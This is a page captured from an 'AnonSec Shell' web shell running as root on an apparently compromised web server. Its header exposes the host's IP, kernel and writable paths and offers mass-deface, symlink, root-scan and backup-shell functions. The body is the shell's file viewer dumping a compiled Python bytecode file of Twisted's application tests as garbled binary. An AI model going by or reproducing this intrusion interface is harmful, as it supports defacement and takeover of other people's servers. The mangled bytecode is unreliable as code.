AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/__pycache__/test_application.cpython-310.pyc
o

�b\��@s6dZddlZddlZddlZddlmZzddlZWney%dZYnwddlm	Z	ddl
mZmZm
Z
mZddlmZddlmZmZmZmZddlmZdd	lmZdd
lmZmZddlmZddlm Z dd
l!m"Z"ddl#m$Z$ddl%m&Z&m'Z'Gdd�d�Z(Gdd�de'�Z)e*ed�r�e�+�Z,e�-�Z.ndZ,Z.Gdd�de'�Z/Gdd�de'�Z0Gdd�de'�Z1Gdd�de'�Z2Gdd�de'�Z3Gdd �d ej4�Z5Gd!d"�d"�Z6Gd#d$�d$�Z7Gd%d&�d&ej8�Z9Gd'd(�d(e'�Z:Gd)d*�d*e'�Z;Gd+d,�d,e
j<�Z=Gd-d.�d.e"e'�Z>Gd/d0�d0e'�Z?Gd1d2�d2e'�Z@dS)3zU
Tests for L{twisted.application} and its interaction with
L{twisted.persisted.sob}.
�N)�StringIO)�skipIf)�app�internet�reactors�service)�
backoffPolicy)�defer�
interfaces�protocol�reactor)�sob)�twisted_reactors)�basic�wire)�usage)�platformType)�TwistedModulesMixin)�
MemoryReactor)�SkipTest�TestCasec@seZdZdZdS)�DummyN)�__name__�
__module__�__qualname__�processName�rr�?/usr/lib/python3/dist-packages/twisted/test/test_application.pyr#src@steZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)�ServiceTestscCs$t��}|�d�|�|jd�dS�N�hello)r�Service�setName�assertEqual�name��self�srrr�testName(s
zServiceTests.testNamecCs>t��}t��}|�|�|�t|�|g�|�|j|�dS�N)rr!�MultiService�setServiceParentr#�list�parent�r&r'�prrr�
testParent-s

zServiceTests.testParentcCsLt��}t�d�}|�|�|�tt�|��|g�|�|jt�|��dS)N�)rr!�Applicationr+r#r,�IServiceCollectionr-r.rrr�testApplicationAsParent4s


z$ServiceTests.testApplicationAsParentcCsZt��}t��}|�d�|�|�|�t|�|g�|�|j|�|�|�d�|�dSr)	rr!r*r"r+r#r,r-�getServiceNamedr.rrr�testNamedChild;s

zServiceTests.testNamedChildcCs8t��}t��}|�d�|�|�|�t|jd�dS)Nr �lala�rr!r*r"r+�assertRaises�RuntimeErrorr.rrr�testDoublyNamedChildDs


z!ServiceTests.testDoublyNamedChildcCsJt��}t��}|�d�|�|�t��}|�d�|�t|j|�dSrr8r.rrr�testDuplicateNamedChildKs


z$ServiceTests.testDuplicateNamedChildcCsbt��}t��}|�|�|�t|�|g�|�|j|�|��|�t|�g�|�|j�dSr))	rr!r*r+r#r,r-�disownServiceParent�assertIsNoner.rrr�
testDisowningTs
zServiceTests.testDisowningcCs@t��}|�|j�|��|�|j�|��|�|j�dSr))rr!�assertFalse�running�startService�
assertTrue�stopServicer%rrr�testRunning^szServiceTests.testRunningcCsvt��}t��}|�|�|�|j�|�|j�|��|�|j�|�|j�|��|�|j�|�|j�dSr))	rr!r*r+r@rArBrCrDr.rrr�testRunningChildren1fs
z!ServiceTests.testRunningChildren1csZt�����fdd�}t��}||_||_t��}��|�|�|�|��|��dS)Ncs���j�dSr))rCrAr�r'r&rr�checkRunningv�z7ServiceTests.testRunningChildren2.<locals>.checkRunning)rr!rDrBr*r+)r&rH�tr/rrGr�testRunningChildren2ss

z!ServiceTests.testRunningChildren2cCsRt��}|��t��}|�|j�|�|�|�|j�|��|�|j�dSr))	rr*rBr!r@rAr+rCr=)r&r/r'rrr�testAddingIntoRunning�s
z"ServiceTests.testAddingIntoRunningcsVt����fdd�}|�_t��}t��}��|�|�|�|��|��j�dS)Ncs
d�_dS�N�)�privilegedStartedr�r'rr�pss��
z(ServiceTests.testPrivileged.<locals>.pss)rr!�privilegedStartServicer*r+rCrO)r&rQ�s1r/rrPr�testPrivileged�s

zServiceTests.testPrivilegedcCs6t��}|��t�|�}|�|j�|�|j�dSr))rr!rB�copyr@rArC)r&r'rTrrr�testCopying�s

zServiceTests.testCopyingN)rrrr(r0r4r6r;r<r?rErFrKrLrUrWrrrrr's		


r�getuidc@�$eZdZdd�Zdd�Zdd�ZdS)�ProcessTestscCs,t�dd�}|�|jd�|�|jd�dS)N��)r�Processr#�uid�gid�r&r/rrr�testID�szProcessTests.testIDcCsnt�d�}|�|jd�|�|j�tjdd�}|�|j�|�|jd�t��}|�|j�|�|j�dS)Nr[)r_)rr]r#r^r>r_r`rrr�testDefaults�s
zProcessTests.testDefaultscCs,t��}|�|j�d|_|�|jd�dSr)rr]r>rr#r`rrr�testProcessName�szProcessTests.testProcessNameN)rrrrarbrcrrrrrZ�srZc@rY)�InterfacesTestscC�|�tj�t����dSr))rCr�IService�
providedByr!�r&rrr�testService��zInterfacesTests.testServicecCs0|�tj�t����|�tj�t����dSr))rCrrfrgr*r3rhrrr�testMultiService�sz InterfacesTests.testMultiServicecCrer))rCr�IProcessrgr]rhrrr�testProcess�rjzInterfacesTests.testProcessN)rrrrirkrmrrrrrd��rdc@�,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�ApplicationTestscCs(t�d�t�dd�t�ddd�dS�Nr r[r\)rr2rhrrr�testConstructor�s
z ApplicationTests.testConstructorcCs�t�d�}|�t�|�j�|�t�|�j�t�dd�}|�t�|�jd�|�t�|�j�t�ddd�}|�t�|�jd�|�t�|�jd�dSrq)rr2r>rlr^r_r#�r&�arrr�testProcessComponent�s
z%ApplicationTests.testProcessComponentcCsLt�d�}|�t�|�t�|��|�t�|�jd�|�t�|�j�dSr)	rr2�assertIsrfr3r#r$r>r-rsrrr�testServiceComponent�s
z%ApplicationTests.testServiceComponentcCsBt�d�}t�|�}|�|jd�|�|jd�|�|j|�dS)Nr �pickle)	rr2r
�IPersistabler#�styler$rv�original)r&rtr/rrr�testPersistableComponent�s


z)ApplicationTests.testPersistableComponentN)rrrrrrurwr|rrrrrp�s
rpc@�eZdZdd�ZdS)�LoadingTestscCs�t�d�}t�|�}d��D]}|�|�|��t�d|d|�}|�t�	|�j
d�qtdd��}|�ddg�Wd�n1sEwYt�dd	�}|�t�	|�j
d�dS)
Nr �
source picklezhello.tarz	hello.tac�w�(from twisted.application import service
�+application = service.Application('hello')
�python)
rr2r
ry�split�setStyle�save�loadApplicationr#rfr$�open�
writelines)r&rtr/rz�a1�frrr�test_simpleStoreAndLoad�s 


���z$LoadingTests.test_simpleStoreAndLoadN)rrrr�rrrrr~��r~c@ro)
�AppSupportTestscCs|�t�d��dS)Nr)r>r�
getPassphraserhrrr�testPassphraseszAppSupportTests.testPassphrasecCs�t�d�}dddd�}d��D]1}|��}d|ddi�||�<t�|��|�t�|�jdd�t	�
|d�}|�t�|�j
d�q|��}d|d	<tdd
��}|�ddg�Wd�n1s`wYt	�
|d�}|�t�|�j
d�dS)
zL
        Test loading an application file in different dump format.
        r N)�file�sourcer�r�helloapplicationrxr���filenamer�r�r�r�)rr2r�rV�getr
ryr�r�r�getApplicationr#rfr$r�r�)r&rt�
baseconfigrz�configr�r�rrr�testLoadApplications(
���z#AppSupportTests.testLoadApplicationc
Cs�t�d�}d��D]4}d��D]-}t�|��|�t�|�jdd�t�d|dd|d�t�	d|�}|�
t�|�jd�qq	dS)Nr7r�converttestr�zconverttest.outr)
rr2r�r
ryr�r�r�convertStyler�r#rfr$)r&�appl�instyle�outstyle�appl2rrr�test_convertStyles
���z!AppSupportTests.test_convertStylecCs,t�d�}t�|d�|�t�|�j�dS)Nr7r)rr2r�startApplicationrCrfrA)r&r�rrr�test_startApplication)s
z%AppSupportTests.test_startApplicationN)rrrr�r�r�r�rrrrr�s
r�c@rY)�FoocC�|j�d�dS)Nslalala
)�	transport�writerhrrr�connectionMade0rIzFoo.connectionMadecCs||j_|j��dSr))�factory�liner��loseConnection)r&r�rrr�lineReceived3�zFoo.lineReceivedcCs|jj�|jj�dSr))r��d�callbackr��r&�reasonrrr�connectionLost7szFoo.connectionLostN)rrrr�r�r�rrrrr�/rnr�c@s eZdZdZdd�Zdd�ZdS)�DummyAppNcCs||j|j<dSr)��servicesr$�r&rrrr�
addService>rIzDummyApp.addServicecCs|j|j=dSr)r�r�rrr�
removeServiceA�zDummyApp.removeService)rrrrr�r�rrrrr�;sr�c@seZdZdd�Zdd�ZdS)�TimerTargetcCs
g|_dSr)��lrhrrr�__init__FrRzTimerTarget.__init__cCs|j�|�dSr))r��append)r&�whatrrrr�IrIzTimerTarget.appendN)rrrr�r�rrrrr�Esr�c@r})�TestEchocCr��NT)r�r�r�rrrr�NrIzTestEcho.connectionLostN)rrrr�rrrrr�Mr�r�c@s�eZdZdd�Zdd�Zdd�Zdd�Zee�	e
d	�d
�dd��Zd
d�Zee�	e
d	�d
�dd��Z
ee�	e
d	�d
�dd��Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd	S)#�
InternetTestscs�t������t��}t|_t��t_t	�
d|�}|���|j�
�j}t��}t��|_t|_d|_t	�d||����|j�|jd�|j��fdd��|j�dd��|jS)Nr�	127.0.0.1�lalalac����Sr)�rD��xrPrr�<lambda>b�z'InternetTests.testTCP.<locals>.<lambda>cS�tjSr)�r�r�r�rrrr�c�)rr*rBr�
ServerFactoryr�r	�Deferredr�r�	TCPServerr+�_port�getHost�port�
ClientFactoryr�r��	TCPClient�addCallbackr#)r&r�rJ�numrrPr�testTCPSs"


zInternetTests.testTCPcsht�td�s
td��t���t�d��}|��|j	�
�j�|��d���fdd�}t
�|j��|�S)z�
        Test L{internet.UDPServer} with a random port: starting the service
        should give it valid port, and stopService should free it so that we
        can start a server on the same port again.
        Nz)This reactor does not support UDP socketsrcst����}|��|��Sr))r�	UDPServerrBrD)�ignoredrJ�r�r/rr�onStoptsz&InternetTests.test_UDP.<locals>.onStop)r
�IReactorUDPrrr�DatagramProtocolrr�rBr�r�r��assertNotEqualr	�
maybeDeferredrDr�)r&rJr�rr�r�test_UDPfszInternetTests.test_UDPcs�t��}t|_t��t_t�d|��d�_��	��j
��j}t�
�}t��|_t|_d|_t�d||�����|j�|jd�|j��fdd��|j��fdd��|j�dd��|jS)	NrrNr�r�cr�r)r�r�)�crrr��r�z.InternetTests.testPrivileged.<locals>.<lambda>cr�r)r�r��rJrrr��r�cSr�r)r�r�rrrr��r�)rr�r�r	r�r�rr��
privilegedrSr�r�r�r�r�r�r�rBr�r#)r&r�r�r)r�rJrrU{s$

zInternetTests.testPrivilegedcspt��}tj|_t�d|�}|��|j��j	}|�
�t���t�
�}�fdd�|_t�d||�}|���S)Nrc�
��d�Sr)�r���args�r�rrr���
z<InternetTests.testConnectionGettingRefused.<locals>.<lambda>r�)rr�r�Echorr�rBr�r�r�rDr	r�r��clientConnectionFailedr�)r&r�rJr�r�rr�r�testConnectionGettingRefused�sz*InternetTests.testConnectionGettingRefusedNz1This reactor does not support UNIX domain socketscs�t������t��}t|_t��t_t	�
d|�}|���t��}t
|_t��|_d|_t	�d|����|j�|jd�|j��fdd��|j�dd��|j�|j|��|jS)N�echo.sktr�cr�r)r�r�rPrrr��r�z(InternetTests.testUNIX.<locals>.<lambda>cSr�r)r�r�rrrr��r�)rr*rBrr�r�r	r�r�r�
UNIXServerr+r�r�r��
UNIXClientr�r#�_cbTestUnix�r&r�rJrrPr�testUNIX�s"


zInternetTests.testUNIXcs\t��t_d|_t��|_���|j�|jd�|j��fdd��|j�dd��|jS)Nr�cr�r)r�r�rPrrr��r�z+InternetTests._cbTestUnix.<locals>.<lambda>cSr�r)r�r�rrrr��r�)r	r�r�r�r�rBr�r#)r&r�r�r'rrPrr��s

zInternetTests._cbTestUnixcCs�t��}tj|_t�d|�}|��|�|jd�t	�	|�}|�
|j�|��|�
|j�|�|j
�t��}tj|_t�d|�}|��|�|jd�t	�	|�}|�
|j�|��|�
|j�|�|j
�dS)Nr�)rr�rr�rr�rB�failIfIdenticalr�rVr>rDr@rAr�r��_connection)r&r�rJ�t1rrr�testVolatile�s(

zInternetTests.testVolatilecsft��}tj|_t�d|�}|��|��|�|j	�t�
�}t����fdd�|_
t�d|��S)Nr�cr�r)r�r�r�rrr��r�z2InternetTests.testStoppingServer.<locals>.<lambda>)rr�rr�rr�rBrDr@rAr�r	r�r�r�connectUNIXr�rr�r�testStoppingServer�sz InternetTests.testStoppingServercCsJt�}t�d|jd�}|��t�|�}|��t�|�}|�	|j
�dS)NrNr )r�r�TimerServicer�rBrx�dumpsrD�loadsr@rA)r&�target�t0r'rJrrr�testPickledTimer�s

zInternetTests.testPickledTimercsbt���t�ddd����j���fdd�}|�_������fdd�����fdd���S)NrNcSsddS)NrNrrrrrrr��r�z/InternetTests.testBrokenTimer.<locals>.<lambda>cs�|���d�dSr)r�)�why)r��	oldFailedrr�_failed�r�z.InternetTests.testBrokenTimer.<locals>._failedcs�jSr)r�r�r�rrr�r�cs��tgdd���t�D��S)NcSsg|]}|jj�qSr)�value�	__class__)�.0�orrr�
<listcomp>szCInternetTests.testBrokenTimer.<locals>.<lambda>.<locals>.<listcomp>)r#�ZeroDivisionError�flushLoggedErrorsr�rhrrr�s�)r	r�rr�rrBr�)r&rr)r�rr&rJr�testBrokenTimer�s
�zInternetTests.testBrokenTimercCs�gd�}|dd�D]}ttd|�td�s|�|�q
|D]U}dD]P}|dkr-|dkr-q"|dkr6|dkr6q"|�tt||��tt||�j}dd	d�|}|�tt||�p_|d	ko_|dk�tt||��}|�t	�
|�|�q"qdS)
z�
        L{twisted.application.internet} dynamically defines a set of
        L{service.Service} subclasses that in general have corresponding
        reactor.listenXXX or reactor.connectXXX calls.
        )�TCP�UNIX�SSL�UDP�UNIXDatagram�	MulticastN�IReactor)�Server�Clientrrr�listen�connect)�getattrr
r�removerC�hasattrr�methodr#rrf)r&�trans�tran�sider�prefixrrrr�test_everythingThere
s,
����z"InternetTests.test_everythingTherecCs(tjD]}|�tt|�|�d��qdS)z�
        L{twisted.application.internet} dynamically defines L{service.Service}
        subclasses. This test ensures that the subclasses exposed by C{__all__}
        are valid attributes of the module.
        z1 not importable from twisted.application.internetN)r�__all__rCr)r&�clsrrr�test_importAll$s
��zInternetTests.test_importAllcCsFt�}t�}tjd||d�}|��|�|j��dd�d|f�dS)z�
        L{internet._AbstractServer} supports a C{reactor} keyword argument
        that can be used to parametrize the reactor used to listen for
        connections.
        ���rN�)r�objectrr�rBr#�
tcpServers�pop�r&rr�rJrrr�#test_reactorParametrizationInServer0s
"z1InternetTests.test_reactorParametrizationInServercCsLt�}t��}tjdd||d�}|��|�|j��dd�dd|f�dS)z�
        L{internet._AbstractClient} supports a C{reactor} keyword arguments
        that can be used to parametrize the reactor used to create new client
        connections.
        r�r"r#N�)	rrr�rr�rBr#�
tcpClientsr'r(rrr�#test_reactorParametrizationInClient=s
$z1InternetTests.test_reactorParametrizationInClientcCsvt�}t��}tjd||d�}|��|�|j��dd�d|f�|�	�|��|�|j��dd�d|f�dS)z�
        Like L{test_reactorParametrizationInServer}, but stop and restart the
        service and check that the given reactor is still used.
        r"r#Nr$)
rr�Factoryrr�rBr#r&r'rDr(rrr�0test_reactorParametrizationInServerMultipleStartJs"z>InternetTests.test_reactorParametrizationInServerMultipleStartcCs|t�}t��}tjdd||d�}|��|�|j��dd�dd|f�|�	�|��|�|j��dd�dd|f�dS)z�
        Like L{test_reactorParametrizationInClient}, but stop and restart the
        service and check that the given reactor is still used.
        r�r"r#Nr*)
rrr�rr�rBr#r+r'rDr(rrr�0test_reactorParametrizationInClientMultipleStartYs $z>InternetTests.test_reactorParametrizationInClientMultipleStart)rrrr�r�rUr�rr
�IReactorUNIXrr�r�r�r�r�r
rr!r)r,r.r/rrrrr�Rs:�

�
�




r�c@ro)
�TimerBasicTestscsZt��}t�d|jd��_�j��|��jd�|��fdd��|��fdd��|S)NrNr c�
�j��Sr)�rJrDr�rhrrr�or�z/TimerBasicTests.testTimerRuns.<locals>.<lambda>cs���jj�Sr))r@rJrAr�rhrrr�ps)	r	r�rr�r�rJrBr�r#)r&r�rrhr�
testTimerRunsjs
zTimerBasicTests.testTimerRunscCs
|j��Sr)r3rhrrr�tearDownsrRzTimerBasicTests.tearDowncs�t��}t����df|dfg��fdd�}t�d|��_�j���fdd�}��fdd	�}�fd
d�}|�|�|�|�|�|�|S)N�bar�foocs���\}}|�|�dSr))r'r�)r��arg)�workrr�trigger|�z1TimerBasicTests.testTimerRestart.<locals>.triggerrNcs��|d��j��S)Nr7�r#rJrD��resultrhrr�
onFirstResult�s
z7TimerBasicTests.testTimerRestart.<locals>.onFirstResultcs���jj��j���Sr))r@rJrArB)r�)�d2r&rr�onFirstStop�s
z5TimerBasicTests.testTimerRestart.<locals>.onFirstStopcs��|d��j��dS)Nr6r<r=rhrr�onSecondResult�r;z8TimerBasicTests.testTimerRestart.<locals>.onSecondResult)r	r�rr�rJrBr�)r&�d1r:r?rArBr)r@r&r9r�testTimerRestartvs



z TimerBasicTests.testTimerRestartcs`g��fdd�}t��}t�d|dd|��_�j��|��jdgd�|��fdd��|S)Ncs(��|�t��|kr|���dSdSr))r��lenr�)�data�numberr�r�rrr:�s
�z/TimerBasicTests.testTimerLoops.<locals>.triggerg{�G�z�?r �
cr2r)r3r�rhrrr��r�z0TimerBasicTests.testTimerLoops.<locals>.<lambda>)r	r�rr�rJrBr�r#)r&r:r�r)r�r&r�testTimerLoops�s
zTimerBasicTests.testTimerLoopsN)rrrr4r5rDrIrrrrr1is
	r1c@seZdZdZdd�ZdS)�FakeReactorz6
    A fake reactor with a hooked install method.
    cOs$tjj|g|�Ri|��||_dS)zv
        @param install: any callable that will be used as install method.
        @type install: C{callable}
        N)r�Reactorr��install)r&rLr��kwargsrrrr��s
zFakeReactor.__init__N)rrr�__doc__r�rrrrrJ�srJc@szeZdZdZdd�Zdd�Zddd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)�PluggableReactorTestsz:
    Tests for the reactor discovery/inspection APIs.
    cCs g|_g|_tj|_|jt_dS)aI
        Override the L{reactors.getPlugins} function, normally bound to
        L{twisted.plugin.getPlugins}, in order to control which
        L{IReactorInstaller} plugins are seen as available.

        C{self.pluginResults} can be customized and will be used as the
        result of calls to C{reactors.getPlugins}.
        N)�pluginCalls�
pluginResultsr�
getPlugins�originalFunction�_getPluginsrhrrr�setUp�s	zPluggableReactorTests.setUpcCs|jt_dS)z>
        Restore the original L{reactors.getPlugins}.
        N)rSrrRrhrrrr5�szPluggableReactorTests.tearDownNcCs|j�||f�t|j�S)zy
        Stand-in for the real getPlugins method which records its arguments
        and returns a fixed result.
        )rPr�r,rQ)r&�	interface�packagerrrrT�s
z!PluggableReactorTests._getPluginscCsvd}td}d}t�|||�g|_t��}|�|jtjdfg�|D]}|j|kr3|�|j	|�dSq"|�
d�dS)zP
        Test that reactor plugins are returned from L{getReactorTypes}
        �fakereactortestz.fakereactor�descriptionNz6Reactor plugin not present in getReactorTypes() result)rrrKrQ�getReactorTypesr#rP�IReactorInstaller�	shortNamerY�fail)r&r$rWrY�reactorTypes�rrrr�test_getPluginReactorTypes�s
�z0PluggableReactorTests.test_getPluginReactorTypescsXg��fdd�}t|dtd�}d|i}|�|�t�ddd�}|��|��dg�dS)zy
        Test that L{reactors.Reactor.install} loads the correct module and
        calls its install attribute.
        c���d�dSr��r�r��	installedrrrL�r�z?PluggableReactorTests.test_reactorInstallation.<locals>.installrX�	described�fakereactorTN)rJr�replaceSysModulesrrKrLr#)r&rL�fakeReactor�modules�	installerrrcr�test_reactorInstallation�s
z.PluggableReactorTests.test_reactorInstallationcsJg��fdd�}d}t}d}t||||�g|_t�|�|��dg�dS)zu
        Test that the L{reactors.installReactor} function correctly installs
        the specified reactor.
        crar�rbrrcrrrL�r�z:PluggableReactorTests.test_installReactor.<locals>.installrXrYTN�rrJrQr�installReactorr#�r&rLr$rWrYrrcr�test_installReactor�s
z)PluggableReactorTests.test_installReactorcsLt����fdd�}d}t}d}t||||�g�_t�|�}��|��dS)zt
        Test that the L{reactors.installReactor} function correctly returns
        the installed reactor.
        csddlm}��|d��dS)Nr�rr)�twistedr�patchrp�rr&rrrLszHPluggableReactorTests.test_installReactorReturnsReactor.<locals>.installrXrYN)r%rrJrQrrmrv)r&rLr$rWrYrdrrsr�!test_installReactorReturnsReactor	s
z7PluggableReactorTests.test_installReactorReturnsReactorcsbg��fdd�}d}t}d}t||||�}tdd�d||�}||g|_t�|�|��dg�d	S)
z�
        Test that the L{reactors.installReactor} function correctly installs
        the specified reactor when there are multiple reactor plugins.
        crar�rbrrcrrrL#r�zIPluggableReactorTests.test_installReactorMultiplePlugins.<locals>.installrXrYcSsdSr)rrrrrr�*�zJPluggableReactorTests.test_installReactorMultiplePlugins.<locals>.<lambda>�otherreactorTNrl)r&rLr$rWrYrh�otherReactorrrcr�"test_installReactorMultiplePluginss

z8PluggableReactorTests.test_installReactorMultiplePluginscCsg|_|�tjtjd�dS)z�
        Test that L{reactors.installReactor} raises L{reactors.NoSuchReactor}
        when asked to install a reactor which it cannot find.
        �somereactorN)rQr9r�
NoSuchReactorrmrhrrr�test_installNonExistentReactor/s
�z4PluggableReactorTests.test_installNonExistentReactorcCs:dd�}d}t}d}t||||�g|_|�ttj|�dS)z�
        Test that L{reactors.installReactor} raises an exception when asked to
        install a reactor which doesn't work in this environment.
        cSstd��)N�Missing foo bar��ImportErrorrrrrrL?�zFPluggableReactorTests.test_installNotAvailableReactor.<locals>.installrXrYN)rrJrQr9r~rrmrnrrr�test_installNotAvailableReactor9sz5PluggableReactorTests.test_installNotAvailableReactorcs�g�d�d�G��fdd�dtjtj�}��fdd�}t|dtd�g|_|�}|�gd	��|��d
��|���	��d�|�|dd�d
S)zx
        Test that the reactor selected is installed as soon as possible, ie
        when the option is parsed.
        zreactor installedzsubcommands loadedcseZdZe��fdd��ZdS)zQPluggableReactorTests.test_reactorSelectionMixin.<locals>.ReactorSelectionOptionscs ����dd�fdd�dfgS)N�
subcommandcs�Sr)rrrhrrr�UruzoPluggableReactorTests.test_reactorSelectionMixin.<locals>.ReactorSelectionOptions.subCommands.<locals>.<lambda>ztest subcommandrbrh��SUBCOMMAND_EVENT�executedrhr�subCommandsRs
z]PluggableReactorTests.test_reactorSelectionMixin.<locals>.ReactorSelectionOptions.subCommandsN)rrr�propertyr�rr�rr�ReactorSelectionOptionsQsr�cs����dSr)rbr)�
INSTALL_EVENTr�rrrLWr�zAPluggableReactorTests.test_reactorSelectionMixin.<locals>.installrXre�z	--reactorrXr�rrNrN)
r�Optionsr�ReactorSelectionMixinrJrrQ�parseOptionsr#�count)r&r�rL�optionsr)r�r�r�r�test_reactorSelectionMixinHs�z0PluggableReactorTests.test_reactorSelectionMixincCshGdd�dtjtj�}g|_|�}t�|_|�tj|j	gd��}|�
d|jd�|�
d|jd�dS)z�
        Test that the usage mixin exits when trying to use a non existent
        reactor (the name not matching to any reactor), giving an error
        message.
        c@�eZdZdS)z\PluggableReactorTests.test_reactorSelectionMixinNonExistent.<locals>.ReactorSelectionOptionsN�rrrrrrrr�k�r�r�rXr�
help-reactorsN)rr�rr�rQr�
messageOutputr9�
UsageErrorr��assertInr�)r&r�r��errr�%test_reactorSelectionMixinNonExistentds�z;PluggableReactorTests.test_reactorSelectionMixinNonExistentcs�Gdd�dtjtj�}d��fdd�}d}t}d}t||||�g|_|�}t�|_|�	tj
|jgd��}|��|j
d	�|�d
|j
d	�dS)z�
        Test that the usage mixin exits when trying to use a reactor not
        available (the reactor raises an error at installation), giving an
        error message.
        c@r�)z]PluggableReactorTests.test_reactorSelectionMixinNotAvailable.<locals>.ReactorSelectionOptionsNr�rrrrr��r�r�r|cst���r)r}r��messagerrrL�rzMPluggableReactorTests.test_reactorSelectionMixinNotAvailable.<locals>.installrXrYr�rr�N)rr�rr�rrJrQrr�r9r�r�r�r�)r&r�rLr$rWrYr�r�rr�r�&test_reactorSelectionMixinNotAvailablezs �z<PluggableReactorTests.test_reactorSelectionMixinNotAvailabler))rrrrNrUr5rTr`rkrortrxr{r�r�r�r�rrrrrO�s

rOc@sreZdZdZdd�Zeed�dd��Zeed�dd	��Zee	d
kd�dd
��Z
ee	d
kd�dd��Zdd�ZdS)�HelpReactorsTestsz6
    --help-reactors lists the available reactors
    cCs6t��|_t�|j_|�t|jj�|jj��|_	dS)z3
        Get the text from --help-reactors
        N)
rr�r�rr�r9�
SystemExit�opt_help_reactors�getvaluer�rhrrrrU�s

zHelpReactorsTests.setUpz$Not applicable, asyncio is availablecC�,|�tjj|j�|�dtjj|j�dS)zX
        --help-reactors should NOT display the asyncio reactor on Python < 3.4
        �!N)r�r�asynciorYr�r\rhrrr�test_lacksAsyncIO��z#HelpReactorsTests.test_lacksAsyncIOzasyncio library not availablecC�,|�tjj|j�|�dtjj|j�dS)zU
        --help-reactors should display the asyncio reactor on Python >= 3.4
        r�N)r�rr�rYr��assertNotInr\rhrrr�test_hasAsyncIO�r�z!HelpReactorsTests.test_hasAsyncIO�win32zTest only applicable on WindowscCr�)zL
        --help-reactors should display the iocp reactor on Windows
        r�N)r�r�iocprYr�r�r\rhrrr�test_iocpWin32�r�z HelpReactorsTests.test_iocpWin32zTest not applicable on WindowscCr�)zP
        --help-reactors should NOT display the iocp reactor on Windows
        r�N)r�rr�rYr�r\rhrrr�test_iocpNotWin32�r�z#HelpReactorsTests.test_iocpNotWin32cCsFdd�}t��}||_t�|_|�t|j�|j��}|�	d|�dS)z>
        --help-reactors with only supported reactors
        css�tjVdSr))r�defaultrrrrrZ�s�zEHelpReactorsTests.test_onlySupportedReactors.<locals>.getReactorTypeszreactors not availableN)
rr��_getReactorTypesrr�r9r�r�r�r�)r&rZr�r�rrr�test_onlySupportedReactors�s
z,HelpReactorsTests.test_onlySupportedReactorsN)
rrrrNrUrr�r�r�rr�r�r�rrrrr��s	




r�c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�BackoffPolicyTestsz@
    Tests of L{twisted.application.internet.backoffPolicy}
    cCshtddddd�d�}|�|d�d�|�|d	�d
�|�|d�d�|�|d
�d�|�|d�d�dS)zI
        Test that L{backoffPolicy()} calculates expected values
        ��?�N@��?cS�dSrMrrrrrr��ruzCBackoffPolicyTests.test_calculates_correct_values.<locals>.<lambda>��jitterrr$rNg@rHg UM@��=�dN)r�assertAlmostEqualr#�r&�polrrr�test_calculates_correct_values�sz1BackoffPolicyTests.test_calculates_correct_valuescCs8tddddd�d�}|�|d�d�|�|d	�d�d
S)z�
        L{backoffPolicy()} does not fail for large values of the attempt
        parameter. In previous versions, this test failed when attempt was
        larger than 1750.

        See https://twistedmatrix.com/trac/ticket/9476
        r�r�r�cSr�rMrrrrrr��ruzLBackoffPolicyTests.test_does_not_overflow_on_high_attempts.<locals>.<lambda>r���r�i@BN�rr#r�rrr�'test_does_not_overflow_on_high_attempts�sz:BackoffPolicyTests.test_does_not_overflow_on_high_attemptscCs(tddddd�d�}|�|d�d�d	S)
z�
        Even with unusual parameters, any L{OverflowError} within
        L{backoffPolicy()} will be caught and L{maxDelay} will be returned
        instead
        r�r�g _�BcSr�rMrrrrrr��ruzSBackoffPolicyTests.test_does_not_overflow_with_large_factor_value.<locals>.<lambda>r�r�r�Nr�r�rrr�.test_does_not_overflow_with_large_factor_value�szABackoffPolicyTests.test_does_not_overflow_with_large_factor_valueN)rrrrNr�r�r�rrrrr��s
r�)ArNrV�osrx�iorr�r~�unittestr�twisted.applicationrrrr�twisted.application.internetr�twisted.internetr	r
rr�twisted.persistedr
�twisted.pluginsr�twisted.protocolsrr�twisted.pythonr�twisted.python.runtimer�#twisted.python.test.modules_helpersr�twisted.test.proto_helpersr�twisted.trial.unittestrrrrrrX�curuid�getgid�curgidrZrdrpr~r��LineReceiverr�r�r�r�r�r�r1rKrJrOr�r�rrrr�<module>s\�
{
/
<g>

Anon7 - 2022
AnonSec Team